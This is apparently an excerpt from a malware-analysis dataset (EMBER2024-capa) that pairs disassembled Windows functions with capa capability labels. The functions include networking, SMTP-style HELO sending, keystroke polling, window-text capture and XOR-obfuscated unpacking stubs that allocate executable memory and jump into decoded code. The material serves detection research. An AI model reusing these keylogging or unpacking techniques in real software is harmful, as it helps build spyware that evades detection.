joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44a7a0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.0044a8f0
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x44a7c0
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x44a7a1
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.0044a8f0
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x44a7c0
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x44a7f0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
xor eax, eax
push esi
push edi
mov dword [esp + 8], eax
mov edi, ecx
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call sub.WS2_32.dll_htons
mov esi, dword [esp + 0x1c]
mov word [esp + 0xa], ax
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x44a847
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x44a85d
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [esp + 0xc], ecx
lea edx, [esp + 8]
push 0x10
push edx
mov ecx, edi
call fcn.0044a880
pop edi
pop esi
add esp, 0x10
ret 8
push 0x2726
call sub.WS2_32.dll_WSASetLastError
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 8

Function at 0x44a880
Capabilities:
Connect socket

Disassembly:
mov eax, dword [esp + 8]
mov edx, dword [esp + 4]
push eax
mov eax, dword [ecx]
push edx
push eax
call sub.WS2_32.dll_connect
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret 8

Function at 0x44a910
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x44a959
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4
Function at 0x44add0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x479770
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.0044a980
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.0044aa00
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.0044aa00
lea ecx, [esi + 0xc]
call fcn.0046b114
lea ecx, [esi + 0x10]
call fcn.0046b114
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0044d230
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0044d230
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0044d230
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0046b189
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0046b189
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x44ba78
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x479998
push eax
mov dword fs:[0], esp
sub esp, 0x64
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x44ba88
call fcn.0044bfa0
mov edi, dword [esp + 0x7c]
test edi, edi
je 0x44bb6b
cmp byte [edi], 0
je 0x44bb6b
mov eax, dword [esp + 0x8c]
test eax, eax
jg 0x44baad
mov eax, 0x7d0
mov ecx, esi
mov dword [esi + 8], eax
call fcn.0044a7a0
test eax, eax
jne 0x44bacd
push 0x561490
lea ecx, [esi + 0x38]
call fcn.0046b2c6
jmp 0x44bb6b
mov eax, dword [esp + 0x80]
mov ecx, esi
push eax
push edi
call fcn.0044a7f0
test eax, eax
jne 0x44bafc
mov ecx, esi
call fcn.0044a8f0
push edi
add esi, 0x38
push 0x56146c
push esi
call fcn.00469097
add esp, 0xc
jmp 0x44bb6b
push 0xdc
mov ecx, esi
mov dword [esi + 4], 1
call fcn.0044c820
test eax, eax
je 0x44bb64
lea ecx, [esp + 8]
push 0x64
push ecx
call sub.WS2_32.dll_gethostname
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x84]
lea edx, [esp + 0x8c]
mov dword [esp + 0x8c], 1
push edx
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.0044bc40
test eax, eax
jne 0x44bb80
push edi
lea eax, [esi + 0x38]
push 0x561448
push eax
call fcn.00469097
add esp, 0xc
mov ecx, esi
call fcn.0044bfa0
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x44bc28
mov ecx, dword [0x566fc0]
mov dword [esp + 0x7c], ecx
lea edx, [esp + 8]
lea eax, [esp + 0x7c]
push edx
push str.HELO__s_r_n
push eax
mov dword [esp + 0x80], 0
call fcn.00469097
mov edx, dword [esp + 0x88]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, esi
call fcn.0044a8a0
test eax, eax
jne 0x44bbea
push 0x56142c
lea ecx, [esi + 0x38]
call fcn.0046b2c6
jmp 0x44bbfa
push 0xfa
mov ecx, esi
call fcn.0044c820
test eax, eax
jne 0x44bc17
mov ecx, esi
call fcn.0044bfa0
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0046b189
jmp 0x44bb6b
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0046b189
mov ecx, dword [esp + 0x6c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
Function at 0x4541a0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, dword [ebx + 0x13c]
push edi
test eax, eax
jle 0x4541ec
mov eax, dword [ebx + 0x140]
test eax, eax
jle 0x4541ec
mov ebp, dword [sym.imp.USER32.dll_GetKeyState]
xor esi, esi
lea edi, [ebx + 0x150]
mov eax, dword [edi]
test eax, eax
je 0x4541d6
push eax
call ebp
test ax, ax
jl 0x4541e4
inc esi
add edi, 4
cmp esi, 6
jb 0x4541c8
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
mov ecx, ebx
call fcn.00453ea0
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x457e90
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x457ef0
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x457ef0
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x457ef0
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x457ef0
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x457f00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x46d52d
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46d565
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0046b5e4
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0046b5bc
jmp 0x46d571
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x46ec27
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x46ec69
call fcn.00474922
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x46ec69
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x46ec60
xor eax, eax
jmp 0x46ec71
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0046ec77
pop edi
pop esi
pop ebx
ret 4

Function at 0x474e52
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x474e80
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x474e9e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00474db8
jmp 0x474e9e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x474e9e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00474db8
test edi, edi
mov eax, edi
jne 0x474e88
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x41228c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x419a60
push 0x412414
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x4252c4], 0xffffffff
or dword [0x4252c8], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x4252bc]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x4252b8]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x4252c0], eax
call fcn.00412413
cmp dword [0x41cc80], 0
jne 0x41230f
push 0x412410
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.004123fe
push 0x41b044
push 0x41b040
call sub.MSVCRT.dll__initterm
mov eax, dword [0x4252b4]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x4252b0]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x41b03c
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.004015ae
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x402667
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x402676
pop dword [ebp - 0x2c]
mov eax, 0xe7e3e0bb
add eax, 0x185c45bb
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x18180f1d
sub dword [ebp - 0x3c], 0xc9c5c9d2
mov dword [ebp - 0x38], 0xaef287a0
sub dword [ebp - 0x38], 0x7cbf3b5b
mov dword [ebp - 0x34], 0x11701169
add dword [ebp - 0x34], 0x3adc32c5
mov dword [ebp - 0x30], 0x77fe3497
sub dword [ebp - 0x30], 0x77fe3497
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xca076617
add eax, 0x363c3a99
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xf238c71
add dword [ebp - 0x3c], 0x654edce5
mov dword [ebp - 0x38], 0xa940020d
sub dword [ebp - 0x38], 0x67d3a098
mov dword [ebp - 0x34], 0x3d085f4
add dword [ebp - 0x34], 0x5f9ee678
mov dword [ebp - 0x30], 0x658683a6
sub dword [ebp - 0x30], 0x658683a6
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3d358
push 0
call eax
mov ecx, 0x91b12498
sub ecx, 0x91b0e0a2
mov edx, eax
mov edi, 0x976e0a88
add edi, 0x68d76f78
add edi, dword [ebp - 0x2c]
mov esi, 0x8ab1d76c
add esi, 0x336c5e89
sub dword [ebp - 8], 0x6494ae8c
mov ebx, dword [edi]
add dword [ebp - 0x14], ecx
xor ebx, esi
add dword [ebp - 0x20], 0x920faf2f
mov dword [edx], ebx
xor dword [ebp - 0x28], esi
add edx, 4
add edi, 0x77cd9590
add edi, 0x88326a74
loop 0x402793
add eax, 0x8d8fbafc
sub eax, 0x8d8eb851
mov ebx, eax
add eax, 5
mov ecx, 0xc572b4
add ecx, 0xff7a8d4c
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x40672b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40673a
pop dword [ebp - 0x24]
mov eax, 0x12704acf
sub eax, 0x122fe395
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xd3282179
sub dword [ebp - 0x34], 0x84d5dc2e
mov dword [ebp - 0x30], 0x130a474e
sub dword [ebp - 0x30], 0xe0d6fb09
mov dword [ebp - 0x2c], 0x244acc35
sub dword [ebp - 0x2c], 0xd7fe8807
mov dword [ebp - 0x28], 0xe1ecd0a7
sub dword [ebp - 0x28], 0xe1ecd0a7
lea eax, [ebp - 0x34]
push eax
mov eax, 0x58ff9453
add eax, 0xa740ecb1
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x272dc366
add dword [ebp - 0x34], 0x4d44a5f0
mov dword [ebp - 0x30], 0x5db7c7ab
sub dword [ebp - 0x30], 0x1c4b6636
mov dword [ebp - 0x2c], 0xad74e071
add dword [ebp - 0x2c], 0xb5fa8bfb
mov dword [ebp - 0x28], 0x7bf8bd76
add dword [ebp - 0x28], 0x8407428a
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x8a480f55
sub eax, 0x8a078e55
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x359a5
push 0
call eax
mov ecx, 0x7874491
sub ecx, 0x7870438
mov esi, eax
mov edi, 0x46e400
add edi, dword [ebp - 0x24]
mov edx, 0x402328a3
sub edx, 0x8189b411
sub dword [ebp - 0x18], eax
mov ebx, dword [edi]
sub dword [ebp - 0x1c], 0xc34d1e00
add ebx, edx
add dword [ebp - 0x1c], edx
mov dword [esi], ebx
xor dword [ebp - 0x10], eax
add esi, 0x691a81bb
add esi, 0x96e57e49
add edi, 0xa09e05ca
add edi, 0x5f61fa3a
loop 0x406856
add eax, 0xf437
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x4eed2bd
add ecx, 0xfb512d43
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x46bd38
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x419a1c]
call fcn.00405374
xor eax, eax
push ebp
push 0x46be7c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4ddf68], 0
jne 0x46bd8b
mov ecx, dword [0x4df5f4]
mov dl, 1
mov eax, dword [0x4080fc]
call fcn.0040ccc4
call fcn.004042c0
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00403244
mov eax, ebx
call fcn.0040517c
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x46be8c
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.004066f4
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.0040518c
test eax, eax
jle 0x46be23
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x46be1c
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404b64
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404b4c
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408f48
test eax, eax
jne 0x46be1c
mov ebx, 0x15
jmp 0x46be28
mov ebx, 0x10
jmp 0x46be28
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x4ddf68]
call fcn.0046bc90
mov eax, dword [ebp - 8]
call fcn.0046bc90
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.0040670c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46be83
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00404908
lea eax, [ebp - 0x10]
mov edx, dword [0x419a1c]
call fcn.00405444
ret

Function at 0x46e9d0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x46ea59
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4e0cec
push 0x101
call sub.wsock32.dll_WSAStartup
mov ebx, eax
test ebx, ebx
je 0x46ea43
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.0040c3a4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0xb
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], 0
mov eax, 0x46ea70
mov dword [ebp - 8], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x18]
push eax
push 2
mov ecx, dword [0x4df9dc]
mov dl, 1
mov eax, dword [0x46e208]
call fcn.0040cd00
call fcn.004042c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46ea60
lea eax, [ebp - 0x1c]
call fcn.004048e4
ret
Function at 0x46f100
Capabilities:
Connect socket

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, ebx
call fcn.0046f024
mov cl, 1
mov edx, ebx
mov eax, ebx
mov si, 0xffff
call fcn.00403cf0
push 0x10
lea eax, [ebx + 0x18]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_connect
mov edx, 0x46f164
call fcn.0046e918
mov byte [ebx + 0x29], 0
test byte [ebx + 0x28], 0x10
jne 0x46f156
cmp dword [ebx + 4], 0xffffffff
setne al
mov byte [ebx + 8], al
mov cl, 2
mov edx, ebx
mov eax, ebx
mov si, 0xffff
call fcn.00403cf0
pop esi
pop ebx
ret

Function at 0x46f188
Capabilities:
Resolve dns

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, edx
mov eax, ebx
call fcn.00404d94
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 4
call fcn.00403244
test ebx, ebx
je 0x46f1d3
mov eax, ebx
mov edx, dword [eax + 0xc]
mov edx, dword [edx]
mov cl, byte [edx]
mov byte [esp + 4], cl
mov cl, byte [edx + 1]
mov byte [esp + 5], cl
mov cl, byte [edx + 2]
mov byte [esp + 6], cl
mov al, byte [edx + 3]
mov byte [esp + 7], al
mov eax, dword [esp + 4]
mov dword [esp], eax
mov eax, dword [esp]
pop ecx
pop edx
pop ebx
ret

Function at 0x46f2b0
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x46f2e1
mov ecx, dword [0x4df8d4]
mov dl, 1
mov eax, dword [0x46e208]
call fcn.0040ccc4
call fcn.004042c0
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x46f30e
mov ecx, dword [0x4df860]
mov dl, 1
mov eax, dword [0x46e208]
call fcn.0040ccc4
call fcn.004042c0
xor eax, eax
push ebp
push 0x46f38a
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xffff
call fcn.00403cf0
cmp byte [ebp + 8], 0
je 0x46f366
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0046f218
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x18]
lea edi, [eax + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 4]
call fcn.0046f100
jmp 0x46f380
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 0
push 1
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0046ec04
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x46f3a7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x46f588
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0046eec0
xor eax, eax
push ebp
push 0x46f6fa
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x46f6e4
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x46f5d3
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x46f5dd
call fcn.0040436c
jmp 0x46f701
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041f3f8
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
test ebx, ebx
jle 0x46f6d9
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov ecx, eax
cmp ecx, 0xffffffff
jne 0x46f68b
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x46f678
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403cf0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.0046f540
pop ecx
mov eax, dword [ebp - 4]
mov dl, byte [0x46f70c]
cmp dl, byte [eax + 0x28]
je 0x46f6e0
call fcn.0040cba0
jmp 0x46f6e0
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041f418
jmp 0x46f6e0
cmp ecx, ebx
jge 0x46f6a7
mov eax, dword [ebp - 0xc]
add eax, ecx
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041f418
jmp 0x46f5dd
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041f3f8
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041f42c
cmp edx, dword [esp + 4]
jne 0x46f6c8
cmp eax, dword [esp]
pop edx
pop eax
jne 0x46f5dd
push ebp
call fcn.0046f540
pop ecx
jmp 0x46f6e0
push ebp
call fcn.0046f540
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46f701
mov eax, dword [ebp - 4]
call fcn.0046eecc
ret
mov al, byte [ebp - 5]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x46f710
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46f832
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0046eec0
xor eax, eax
push ebp
push 0x46f815
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x46f760
call fcn.0040436c
jmp 0x46f81c
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x46f7ff
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x46f7ff
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403cf0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x46f7ff
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c3a4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x46f84c
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x4df9dc]
mov dl, 1
mov eax, dword [0x46e208]
call fcn.0040cd00
call fcn.004042c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46f81c
mov eax, dword [ebp - 4]
call fcn.0046eecc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46f839
lea eax, [ebp - 0x28]
call fcn.004048e4
ret